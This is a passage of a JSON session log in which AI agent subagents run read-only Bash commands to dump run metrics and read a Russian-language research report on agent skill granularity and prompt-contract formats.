\"0.75\",\n[2026-09-29T07:45:11.914Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:11.917Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:11.922Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:11.927Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:11.931Z] [STDOUT]   \"request-id\": \"req_011CfXMjhR6kH2wmXq4xLeCW\",\n[2026-09-29T07:45:11.935Z] [STDOUT]   \"traceresponse\": \"00-4f72becb22e373c3c7207661281f85a8-84d4f322ad1ce25d-01\",\n[2026-09-29T07:45:11.938Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:11.941Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:11.944Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:11.948Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:11.950Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:11.953Z] [STDOUT]   \"cf-ray\": \"a4295de80e344d8b-FRA\",\n[2026-09-29T07:45:11.956Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:11.960Z] [STDOUT] [log_5ecd4b] response parsed {\n[2026-09-29T07:45:11.963Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:11.966Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:11.969Z] [STDOUT]   body: X {\n[2026-09-29T07:45:11.973Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:11.976Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:11.982Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:11.985Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:11.989Z] [STDOUT]     },\n[2026-09-29T07:45:11.992Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:11.995Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:11.998Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:12.001Z] [STDOUT]   },\n[2026-09-29T07:45:12.004Z] [STDOUT]   durationMs: 1079,\n[2026-09-29T07:45:12.011Z] [STDOUT] }\n[2026-09-29T07:45:12.017Z] [INFO] {\n[2026-09-29T07:45:12.017Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:12.017Z] [INFO]   \"message\": {\n[2026-09-29T07:45:12.017Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:12.017Z] [INFO]     \"id\": \"msg_011CfXMjYkTUyHG75Hqugohi\",\n[2026-09-29T07:45:12.017Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:12.017Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:12.017Z] [INFO]     \"content\": [\n[2026-09-29T07:45:12.017Z] [INFO]       {\n[2026-09-29T07:45:12.017Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:45:12.017Z] [INFO]         \"id\": \"toolu_01LQTJmu9zTpsJ2uCFEMMevK\",\n[2026-09-29T07:45:12.017Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:45:12.017Z] [INFO]         \"input\": {\n[2026-09-29T07:45:12.017Z] [INFO]           \"command\": \"cd /tmp/mango_ba_prompts && python3 - <<'EOF'\\nimport yaml,glob,json\\nfor f in sorted(glob.glob('runs/2026/RUN-*/metadata.yaml')):\\n    d=yaml.safe_load(open(f))\\n    m=d.get('metrics')\\n    if m: print(d['run_id'], json.dumps(m,ensure_ascii=False,default=str)[:700])\\n    for k in ('eval','verdict','success_rate','tokens_input','tokens_output','duration','turns','result_type'):\\n        if k in d: print('   ',k,str(d[k])[:200])\\nEOF\",\n[2026-09-29T07:45:12.017Z] [INFO]           \"description\": \"Dump metrics blocks from run metadata\"\n[2026-09-29T07:45:12.017Z] [INFO]         },\n[2026-09-29T07:45:12.017Z] [INFO]         \"caller\": {\n[2026-09-29T07:45:12.017Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:45:12.017Z] [INFO]         }\n[2026-09-29T07:45:12.017Z] [INFO]       }\n[2026-09-29T07:45:12.017Z] [INFO]     ],\n[2026-09-29T07:45:12.017Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:12.017Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:12.017Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:12.017Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:12.017Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:12.017Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:12.017Z] [INFO]       \"cache_creation_input_tokens\": 6152,\n[2026-09-29T07:45:12.017Z] [INFO]       \"cache_read_input_tokens\": 43474,\n[2026-09-29T07:45:12.017Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:12.017Z] [INFO]         \"ephemeral_5m_input_tokens\": 6152,\n[2026-09-29T07:45:12.017Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:12.017Z] [INFO]       },\n[2026-09-29T07:45:12.017Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:45:12.017Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:12.017Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:12.017Z] [INFO]     },\n[2026-09-29T07:45:12.017Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:12.017Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:12.017Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:12.017Z] [INFO]   },\n[2026-09-29T07:45:12.017Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:12.017Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:12.017Z] [INFO]   \"uuid\": \"21644d0a-a493-4dc2-a55c-cf1dff8314d2\",\n[2026-09-29T07:45:12.017Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:11.528Z\",\n[2026-09-29T07:45:12.017Z] [INFO]   \"request_id\": \"req_011CfXMjYCxNBLXXhzSZqQGj\",\n[2026-09-29T07:45:12.017Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:12.017Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:12.017Z] [INFO] }\n[2026-09-29T07:45:12.026Z] [INFO] {\n[2026-09-29T07:45:12.026Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:12.026Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:45:12.026Z] [INFO]   \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:45:12.026Z] [INFO]   \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:12.026Z] [INFO]   \"description\": \"Running Dump metrics blocks from run metadata\",\n[2026-09-29T07:45:12.026Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:12.026Z] [INFO]   \"usage\": {\n[2026-09-29T07:45:12.026Z] [INFO]     \"total_tokens\": 50192,\n[2026-09-29T07:45:12.026Z] [INFO]     \"tool_uses\": 12,\n[2026-09-29T07:45:12.026Z] [INFO]     \"duration_ms\": 49243\n[2026-09-29T07:45:12.026Z] [INFO]   },\n[2026-09-29T07:45:12.026Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:45:12.026Z] [INFO]   \"uuid\": \"19bbd74b-3e0d-407b-bb7a-03cb787e98c6\",\n[2026-09-29T07:45:12.026Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:12.026Z] [INFO] }\n[2026-09-29T07:45:12.031Z] [INFO] {\n[2026-09-29T07:45:12.031Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:12.031Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:45:12.031Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:45:12.031Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:45:12.031Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:12.031Z] [INFO]   \"uuid\": \"af45afc6-e333-49f0-bda7-5552e76e5545\"\n[2026-09-29T07:45:12.031Z] [INFO] }\n[2026-09-29T07:45:12.199Z] [INFO] {\n[2026-09-29T07:45:12.199Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:12.199Z] [INFO]   \"message\": {\n[2026-09-29T07:45:12.199Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:12.199Z] [INFO]     \"id\": \"msg_011CfXMjgjBEjTvCNsKvgM5p\",\n[2026-09-29T07:45:12.199Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:12.199Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:12.199Z] [INFO]     \"content\": [\n[2026-09-29T07:45:12.199Z] [INFO]       {\n[2026-09-29T07:45:12.199Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:45:12.199Z] [INFO]         \"id\": \"toolu_018Ys8BJFRQ4dpsEehDr1par\",\n[2026-09-29T07:45:12.199Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:45:12.199Z] [INFO]         \"input\": {\n[2026-09-29T07:45:12.199Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/research/ba-requirements && sed -n '18,400p' 2026-09-10-skill-granularity-format-facts.md\",\n[2026-09-29T07:45:12.199Z] [INFO]           \"description\": \"Read skill granularity facts\"\n[2026-09-29T07:45:12.199Z] [INFO]         },\n[2026-09-29T07:45:12.199Z] [INFO]         \"caller\": {\n[2026-09-29T07:45:12.199Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:45:12.199Z] [INFO]         }\n[2026-09-29T07:45:12.199Z] [INFO]       }\n[2026-09-29T07:45:12.199Z] [INFO]     ],\n[2026-09-29T07:45:12.199Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:12.199Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:12.199Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:12.199Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:12.199Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:12.199Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:12.199Z] [INFO]       \"cache_creation_input_tokens\": 5714,\n[2026-09-29T07:45:12.199Z] [INFO]       \"cache_read_input_tokens\": 37191,\n[2026-09-29T07:45:12.199Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:12.199Z] [INFO]         \"ephemeral_5m_input_tokens\": 5714,\n[2026-09-29T07:45:12.199Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:12.199Z] [INFO]       },\n[2026-09-29T07:45:12.199Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:45:12.199Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:12.199Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:12.199Z] [INFO]     },\n[2026-09-29T07:45:12.199Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:12.199Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:12.199Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:12.199Z] [INFO]   },\n[2026-09-29T07:45:12.199Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:12.199Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:12.199Z] [INFO]   \"uuid\": \"90391dc8-6924-4816-80b3-2879cb93932c\",\n[2026-09-29T07:45:12.199Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:12.195Z\",\n[2026-09-29T07:45:12.199Z] [INFO]   \"request_id\": \"req_011CfXMjgJ8USZ4uKEzZTb4E\",\n[2026-09-29T07:45:12.199Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:12.199Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:12.199Z] [INFO] }\n[2026-09-29T07:45:12.206Z] [INFO] {\n[2026-09-29T07:45:12.206Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:12.206Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:45:12.206Z] [INFO]   \"task_id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:45:12.206Z] [INFO]   \"tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:12.206Z] [INFO]   \"description\": \"Running Read skill granularity facts\",\n[2026-09-29T07:45:12.206Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:12.206Z] [INFO]   \"usage\": {\n[2026-09-29T07:45:12.206Z] [INFO]     \"total_tokens\": 43090,\n[2026-09-29T07:45:12.206Z] [INFO]     \"tool_uses\": 11,\n[2026-09-29T07:45:12.206Z] [INFO]     \"duration_ms\": 42918\n[2026-09-29T07:45:12.206Z] [INFO]   },\n[2026-09-29T07:45:12.206Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:45:12.206Z] [INFO]   \"uuid\": \"a26b11b3-f109-4178-9b5f-287de752f962\",\n[2026-09-29T07:45:12.206Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:12.206Z] [INFO] }\n[2026-09-29T07:45:12.687Z] [INFO] {\n[2026-09-29T07:45:12.687Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:12.687Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:45:12.687Z] [INFO]   \"estimated_tokens\": 197,\n[2026-09-29T07:45:12.687Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:45:12.687Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:12.687Z] [INFO]   \"uuid\": \"41d24223-bd68-4c7a-ab4c-add261f2a4dd\"\n[2026-09-29T07:45:12.687Z] [INFO] }\n[2026-09-29T07:45:12.695Z] [INFO] {\n[2026-09-29T07:45:12.695Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:12.695Z] [INFO]   \"message\": {\n[2026-09-29T07:45:12.695Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:12.695Z] [INFO]     \"id\": \"msg_011CfXMjhvN3ZrNB1g2axZAM\",\n[2026-09-29T07:45:12.695Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:12.695Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:12.695Z] [INFO]     \"content\": [\n[2026-09-29T07:45:12.695Z] [INFO]       {\n[2026-09-29T07:45:12.695Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:45:12.695Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:45:12.695Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:45:12.695Z] [INFO]     ],\n[2026-09-29T07:45:12.695Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:12.695Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:12.695Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:12.695Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:12.695Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:12.695Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:12.695Z] [INFO]       \"cache_creation_input_tokens\": 9491,\n[2026-09-29T07:45:12.695Z] [INFO]       \"cache_read_input_tokens\": 100396,\n[2026-09-29T07:45:12.695Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:12.695Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:45:12.695Z] [INFO]         \"ephemeral_1h_input_tokens\": 9491\n[2026-09-29T07:45:12.695Z] [INFO]       },\n[2026-09-29T07:45:12.695Z] [INFO]       \"output_tokens\": 6,\n[2026-09-29T07:45:12.695Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:12.695Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:12.695Z] [INFO]     },\n[2026-09-29T07:45:12.695Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:12.695Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:12.695Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:12.695Z] [INFO]   },\n[2026-09-29T07:45:12.695Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:45:12.695Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:12.695Z] [INFO]   \"uuid\": \"5ed11b31-fdd9-4694-b105-7c551c4f53b0\",\n[2026-09-29T07:45:12.695Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:12.685Z\",\n[2026-09-29T07:45:12.695Z] [INFO]   \"request_id\": \"req_011CfXMjhR6kH2wmXq4xLeCW\"\n[2026-09-29T07:45:12.695Z] [INFO] }\n[2026-09-29T07:45:13.312Z] [INFO] {\n[2026-09-29T07:45:13.312Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:13.312Z] [INFO]   \"message\": {\n[2026-09-29T07:45:13.312Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:13.312Z] [INFO]     \"content\": [\n[2026-09-29T07:45:13.312Z] [INFO]       {\n[2026-09-29T07:45:13.312Z] [INFO]         \"tool_use_id\": \"toolu_018Ys8BJFRQ4dpsEehDr1par\",\n[2026-09-29T07:45:13.312Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:13.312Z] [INFO]         \"content\": \"related_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571\\\"\\n---\\n\\n# \u041f\u0440\u0438\u0440\u043e\u0434\u0430 \u043d\u0430\u0432\u044b\u043a\u0430 \u0438 \u0444\u043e\u0440\u043c\u0430\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430: \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 2026-09-10\\n\\n> **\u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435.** \u0420\u0435\u0432\u044c\u044e\\n> [PR #572](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/572)\\n> \u043e\u0441\u043f\u043e\u0440\u0438\u043b\u043e \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 `SB-1` \u00ab\u043d\u0430\u0432\u044b\u043a \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u043d\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u00bb \u0438\\n> \u0432\u044b\u0434\u0432\u0438\u043d\u0443\u043b\u043e \u0432\u0441\u0442\u0440\u0435\u0447\u043d\u0443\u044e \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0443: \u043d\u0430\u0432\u044b\u043a \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u044d\u043a\u0432\u0438\u0432\u0430\u043b\u0435\u043d\u0442\u0435\u043d **\u043a\u0430\u043a** \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0439\\n> \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, **\u0442\u0430\u043a \u0438** \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443, \u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0438\u043c\u0435\u043d\u0430 \u0440\u0435\u0436\u0438\u043c\u043e\u0432 `oneshot` \u0438\\n> `stepwise` \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u043d\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u044e, \u0430 **\u0444\u043e\u0440\u043c\u0430\u0442** \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430. \u041e\u0442\u0447\u0451\u0442 \u043d\u0435\\n> \u043e\u0431\u0441\u0443\u0436\u0434\u0430\u0435\u0442 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0443 \u2014 \u043e\u043d \u0435\u0451 \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442.\\n\\n**\u0418\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u0438.**\\n[`measure-skill-format.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-process-taxonomy-571/measure-skill-format.py)\\n(\u043a\u043e\u0440\u043f\u0443\u0441 \u0441\u043f\u0438\u0446\u044b \u0438 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0425\u0430\u0431\u0430) \u0438\\n[`fetch-gigacode-docs.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-process-taxonomy-571/fetch-gigacode-docs.py)\\n(\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0441\u0440\u0435\u0434\u044b). \u0421\u044b\u0440\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u2014\\n[`skill-format.json`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-process-taxonomy-571/skill-format.json)\\n\u0438\\n[`gigacode-docs.json`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-process-taxonomy-571/gigacode-docs.json).\\n\u041a\u043e\u0440\u043f\u0443\u0441\u0430: \u0441\u043f\u0438\u0446\u0430 `mango_ba_prompts` \u043a\u043e\u043c\u043c\u0438\u0442 `8cbf82a`, \u0425\u0430\u0431 \u2014 \u043a\u043e\u043c\u043c\u0438\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430.\\n\\n## \u0421\u0432\u043e\u0434\u043a\u0430\\n\\n| \u041a\u043e\u0434 | \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 | \u0417\u0430\u043c\u0435\u0440 | \u0412\u0435\u0440\u0434\u0438\u043a\u0442 |\\n| --- | --- | --- | --- |\\n| `F1` | \u0441\u0440\u0435\u0434\u0430 \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442 \u043d\u0430\u0432\u044b\u043a \u043e\u0434\u043d\u0438\u043c \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438 | \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u043b\u0435\u0439 `SKILL.md` \u0434\u0432\u0430, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043d\u0430 \u0447\u0438\u0441\u043b\u043e \u0448\u0430\u0433\u043e\u0432 \u043d\u0435\u0442 (`GC-2`, `GC-25`) | \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430 **\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430** |\\n| `F2` | \u0443 \u043d\u0430\u0432\u044b\u043a\u0430 \u0435\u0441\u0442\u044c \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u043e\u0439 **\u043d\u0438\u0436\u043d\u044f\u044f** \u0433\u0440\u0430\u043d\u0438\u0446\u0430 | \u00ab\u041a\u043e\u0440\u043e\u0442\u043a\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u00bb \u043e\u0442\u043d\u0435\u0441\u0435\u043d\u043e \u043a `AGENTS.md`, \u043d\u0435 \u043a \u043d\u0430\u0432\u044b\u043a\u0443 (`GC-26`) | \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 |\\n| `F3` | \u0443 \u043d\u0430\u0432\u044b\u043a\u0430 \u0435\u0441\u0442\u044c \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u043e\u0439 **\u0432\u0435\u0440\u0445\u043d\u044f\u044f** \u0433\u0440\u0430\u043d\u0438\u0446\u0430 | \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043d\u0443\u0436\u043d\u044b \u0441\u0432\u043e\u0438 \u043f\u0440\u0430\u0432\u0430 \u0438 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442, \u2014 \u0430\u0433\u0435\u043d\u0442, \u0430 \u043d\u0435 \u043d\u0430\u0432\u044b\u043a (`GC-28`) | \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 |\\n| `F4` | \u0444\u043e\u0440\u043c\u0430\u0442 `stepwise` \u043e\u0442\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0442 `oneshot` \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u043c \u0441\u0430\u043c\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 | \u0442\u043e\u0447\u043a\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u043e\u0440\u0443: `stepwise` **10 \u0438\u0437 10**, `oneshot` **0 \u0438\u0437 9**, `legacy` **0 \u0438\u0437 5** | \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 **\u043f\u043e\u043b\u043d\u043e\u0435** |\\n| `F5` | `oneshot` \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u044c | \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u044b\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 **9 \u0438\u0437 9** `oneshot`-\u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 | **\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e** |\\n| `F6` | \u0432 \u043d\u043e\u0432\u043e\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 `L3` \u0435\u0441\u0442\u044c \u043d\u0430\u0432\u044b\u043a \u0438\u0437 \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 | **0 \u0438\u0437 33**; \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043d\u0430 \u043d\u0430\u0432\u044b\u043a \u2014 \u043e\u0442 2 \u0434\u043e 7 | \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e |\\n| `F7` | \u0435\u0441\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0434\u043b\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0444\u043e\u0440\u043c\u044b | **21 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0438\u0437 31** \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0442\u0440\u0435\u043c\u044f \u0438 \u0431\u043e\u043b\u0435\u0435 \u043d\u0430\u0432\u044b\u043a\u0430\u043c\u0438; \u043c\u0430\u043a\u0441\u0438\u043c\u0443\u043c \u2014 `check-schema` (11) | 